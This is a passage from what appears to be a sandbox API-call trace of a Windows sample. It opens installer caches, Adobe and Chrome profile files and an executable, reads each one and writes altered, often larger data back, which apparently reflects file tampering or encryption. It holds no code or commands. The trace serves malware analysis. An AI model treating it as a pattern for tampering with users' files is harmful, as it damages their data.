lpNumberOfBytesWritten=0x340f2d0*=0x6e6, lpOverlapped=0x0) returned 1 [0055.201] CloseHandle (hObject=0x1b0) returned 1 [0055.201] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.201] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.201] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x28e [0055.201] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.201] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.201] ReleaseMutex (hMutex=0x128) returned 1 [0055.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0055.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="state.rsm", lpUsedDefaultChar=0x0) returned 9 [0055.201] ReadFile (in: hFile=0x1b0, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x28e, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x340f2bc*=0x28e, lpOverlapped=0x0) returned 1 [0055.202] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.202] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x816, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x816, lpOverlapped=0x0) returned 1 [0055.203] CloseHandle (hObject=0x1b0) returned 1 [0055.203] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.203] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.203] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x165257 [0055.203] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.203] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.203] ReleaseMutex (hMutex=0x128) returned 1 [0055.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0055.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e630ec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0055.204] ReadFile (in: hFile=0x1b0, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.206] ReadFile (in: hFile=0x1b0, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.207] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x164257 [0055.207] ReadFile (in: hFile=0x1b0, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.209] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x164257 [0055.209] WriteFile (in: hFile=0x1b0, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0055.210] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0055.210] WriteFile (in: hFile=0x1b0, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0055.210] WriteFile (in: hFile=0x1b0, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0055.210] CloseHandle (hObject=0x1b0) returned 1 [0055.210] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.211] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.211] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x28e [0055.211] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.211] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.211] ReleaseMutex (hMutex=0x128) returned 1 [0055.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0055.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x1e6314c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="state.rsm", lpUsedDefaultChar=0x0) returned 9 [0055.211] ReadFile (in: hFile=0x1b0, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x28e, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x340f2bc*=0x28e, lpOverlapped=0x0) returned 1 [0055.212] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.212] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x816, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x816, lpOverlapped=0x0) returned 1 [0055.213] CloseHandle (hObject=0x1b0) returned 1 [0055.213] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.213] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.213] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2fe [0055.213] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.213] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.213] ReleaseMutex (hMutex=0x128) returned 1 [0055.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0055.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="state.rsm", lpUsedDefaultChar=0x0) returned 9 [0055.214] ReadFile (in: hFile=0x1b0, lpBuffer=0x275b028, nNumberOfBytesToRead=0x2fe, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x340f2bc*=0x2fe, lpOverlapped=0x0) returned 1 [0055.215] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.215] WriteFile (in: hFile=0x1b0, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x886, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x340f2d0*=0x886, lpOverlapped=0x0) returned 1 [0055.215] CloseHandle (hObject=0x1b0) returned 1 [0055.215] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.216] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.216] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x12ea5 [0055.216] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.216] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.216] ReleaseMutex (hMutex=0x128) returned 1 [0055.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UserCache.bin", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UserCache.bin", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UserCache.bin", lpUsedDefaultChar=0x0) returned 13 [0055.216] ReadFile (in: hFile=0x1b0, lpBuffer=0x2804cf8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2804cf8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0055.218] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x11ea5 [0055.218] ReadFile (in: hFile=0x1b0, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.226] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x11ea5 [0055.226] WriteFile (in: hFile=0x1b0, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0055.226] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0055.226] WriteFile (in: hFile=0x1b0, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0055.227] CloseHandle (hObject=0x1b0) returned 1 [0055.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.227] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.227] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1144e0 [0055.227] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.227] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.227] ReleaseMutex (hMutex=0x128) returned 1 [0055.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GoogleUpdateSetup.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0055.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GoogleUpdateSetup.exe", cchWideChar=21, lpMultiByteStr=0x1e78bcc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GoogleUpdateSetup.exe", lpUsedDefaultChar=0x0) returned 21 [0055.227] ReadFile (in: hFile=0x1b0, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.228] ReadFile (in: hFile=0x1b0, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.228] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1134e0 [0055.228] ReadFile (in: hFile=0x1b0, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.228] CloseHandle (hObject=0x1b0) returned 1 [0055.228] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.229] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.229] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x402000 [0055.229] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.229] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.229] ReleaseMutex (hMutex=0x128) returned 1 [0055.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="data_3", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0055.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="data_3", cchWideChar=6, lpMultiByteStr=0x1e6a78c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="data_3", lpUsedDefaultChar=0x0) returned 6 [0055.229] ReadFile (in: hFile=0x1b0, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.232] ReadFile (in: hFile=0x1b0, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.233] ReadFile (in: hFile=0x1b0, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x340f278*=0x2000, lpOverlapped=0x0) returned 1 [0055.235] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x400000 [0055.235] ReadFile (in: hFile=0x1b0, lpBuffer=0x2804cf8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2804cf8*, lpNumberOfBytesRead=0x340f278*=0x2000, lpOverlapped=0x0) returned 1 [0055.239] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x400000 [0055.262] WriteFile (in: hFile=0x1b0, lpBuffer=0x280cd88*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x280cd88*, lpNumberOfBytesWritten=0x340f28c*=0x2588, lpOverlapped=0x0) returned 1 [0061.590] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0061.591] WriteFile (in: hFile=0x1b0, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0061.592] WriteFile (in: hFile=0x1b0, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0061.592] WriteFile (in: hFile=0x1b0, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x340f28c*=0x2000, lpOverlapped=0x0) returned 1 [0061.593] CloseHandle (hObject=0x1b0) returned 1 [0061.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0061.594] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.594] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x29 [0061.594] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.594] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.594] ReleaseMutex (hMutex=0x128) returned 1 [0061.594] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MANIFEST-000001", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.594] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MANIFEST-000001", cchWideChar=15, lpMultiByteStr=0x1e630ec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MANIFEST-000001", lpUsedDefaultChar=0x0) returned 15 [0061.594] ReadFile (in: hFile=0x1b0, lpBuffer=0x1eb2080, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eb2080*, lpNumberOfBytesRead=0x340f2bc*=0x29, lpOverlapped=0x0) returned 1 [0061.595] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0061.595] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x340f2d0*=0x5b1, lpOverlapped=0x0) returned 1 [0061.595] CloseHandle (hObject=0x1b0) returned 1 [0061.595] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0061.596] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.596] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x110 [0061.596] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.596] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.596] ReleaseMutex (hMutex=0x128) returned 1 [0061.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 